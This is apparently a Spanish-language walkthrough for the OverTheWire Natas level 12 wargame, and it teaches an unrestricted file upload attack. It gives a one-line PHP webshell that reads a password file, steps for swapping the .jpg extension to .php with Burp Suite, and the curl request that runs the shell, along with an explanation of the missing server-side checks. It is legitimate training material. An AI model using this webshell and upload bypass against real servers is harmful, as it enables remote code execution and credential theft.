Natas Nivel 12 a 13
Nivel oficial: http://natas12.natas.labs.overthewire.org
Este nivel introduce una de las vulnerabilidades mas criticas en aplicaciones web: la subida de archivos sin validacion correcta en el servidor. El error clasico es confiar en el cliente para determinar el tipo de archivo, permitiendo ejecutar codigo arbitrario en el servidor (RCE).
Este laboratorio es legal y autorizado. Solo practica estas tecnicas en entornos de wargame como OverTheWire o sistemas sobre los que tengas permiso explicito.
Objetivo
Subir un archivo PHP que lea la contrasena de /etc/natas_webpass/natas13 y obtener su contenido visitando la URL del archivo subido.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
Burp Suite > Intercept | Capturar y modificar peticiones HTTP antes de enviarlas |
Campo <input type="hidden" name="filename"> | El servidor usa este valor para nombrar el archivo subido |
passthru() en PHP | Ejecuta un comando de sistema y vuelca la salida directamente |
| Cambiar extension en transito | Renombrar .jpg a .php en la peticion interceptada |
Content-Type vs extension real | El servidor ejecuta por extension, no por MIME type del form |
Concepto clave: validacion de subida en el cliente vs en el servidor
La categoria de vulnerabilidad es Unrestricted File Upload (OWASP A04 - Insecure Design / A05 - Security Misconfiguration).
El patron es el siguiente: el formulario genera un nombre de archivo aleatorio con extension .jpg y lo mete en un campo oculto (<input type="hidden" name="filename" value="abc123.jpg">). La validacion solo ocurre en el navegador (JavaScript o convencion de formulario). El servidor acepta el nombre que le llega en el POST sin verificar que la extension coincida con el contenido real ni que sea segura.
Consecuencia: si cambias el valor del campo filename de abc123.jpg a abc123.php antes de que la peticion llegue al servidor, el archivo se guarda con extension .php. Si el servidor web tiene PHP habilitado en el directorio de subidas, cualquier visita a esa URL ejecuta el codigo subido.
Paso a paso
1. Acceder al nivel con las credenciales de natas12
# Usuario: natas12
# Contrasena: <pass_natas12>
# URL: http://natas12.natas.labs.overthewire.org2. Crear el payload PHP localmente
echo '<?php passthru("cat /etc/natas_webpass/natas13"); ?>' > shell.phpEste es el webshell minimo. passthru() ejecuta el comando y escribe la salida al buffer de respuesta HTTP sin procesarla.
3. Configurar Burp Suite como proxy
Ajusta tu navegador para usar 127.0.0.1:8080 como proxy HTTP. En Burp, activa Proxy > Intercept > Intercept is on.
4. Subir el archivo y capturar la peticion
En el formulario de natas12, selecciona tu archivo shell.php y pulsa “Upload”. Burp interceptara la peticion POST antes de enviarla. Veras algo similar a:
POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
------WebKitFormBoundary...
Content-Disposition: form-data; name="filename"
abc123ef.jpg
------WebKitFormBoundary...
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: application/octet-stream
<?php passthru("cat /etc/natas_webpass/natas13"); ?>5. Modificar la extension en el campo oculto
Cambia el valor del campo filename de abc123ef.jpg a abc123ef.php. Ese es el nombre con el que el servidor guardara el archivo.
------WebKitFormBoundary...
Content-Disposition: form-data; name="filename"
abc123ef.phpPulsa “Forward” en Burp para enviar la peticion modificada.
6. Visitar la URL del archivo subido
El servidor responde con la ruta donde guardo el archivo, por ejemplo:
The file upload/abc123ef.php has been uploaded
Navega a esa URL (con tus credenciales HTTP Basic en la cabecera o en la URL):
curl -u natas12:<pass_natas12> http://natas12.natas.labs.overthewire.org/upload/abc123ef.phpLa respuesta contendra la contrasena de natas13.
Por que funciona
El servidor asigna el nombre de archivo basandose en el campo filename del formulario multipart, que es un campo HTML corriente que el cliente puede modificar libremente. No existe ninguna validacion server-side que:
- Compruebe que la extension sea segura (whitelist de
.jpg,.png, etc.) - Verifique el MIME type real del contenido (magic bytes)
- Mueva el directorio de subidas fuera del document root o le desactive la ejecucion de PHP
El servidor web (Apache/Nginx con PHP) interpreta cualquier archivo .php en el document root como codigo ejecutable, no como descarga estatica. El atacante sube codigo, el servidor lo ejecuta, y la respuesta HTTP contiene el output del comando.
Errores comunes
-
No cambiar el campo
filenameoculto, solo el nombre del archivo enContent-Disposition: el servidor usa el campofilenamedel formulario para nombrar el archivo destino. Si solo cambias el nombre en la parteuploadedfile, el archivo se guardara con la extension.jpgy no se ejecutara como PHP. -
Olvidar las credenciales Basic Auth al visitar la URL: todo el dominio
natas12.natas.labs.overthewire.orgrequiere autenticacion HTTP. Sin ella obtendras un 401. -
Payload PHP con comillas que el shell escapa mal: si creas el archivo desde la terminal, usa comillas simples externas y dobles internas, o escribe el archivo directamente con un editor para evitar problemas de escape.
-
El nombre generado cambia en cada recarga: el formulario genera un hash aleatorio nuevo cada vez que recargas la pagina. Si interceptas una peticion con un nombre y luego visitas otra URL, no encontraras el archivo. Usa el nombre exacto que el servidor confirmo en la respuesta.
Pasar al siguiente nivel
La contrasena obtenida al ejecutar el webshell es la credencial para:
- URL:
http://natas13.natas.labs.overthewire.org - Usuario:
natas13 - Contrasena:
<pass_natas13>
El nivel 13 es una variante de este mismo reto pero con una comprobacion adicional: el servidor verifica los magic bytes del archivo con exif_imagetype(). La tecnica cambia: hay que anteponer la firma de imagen valida al payload PHP.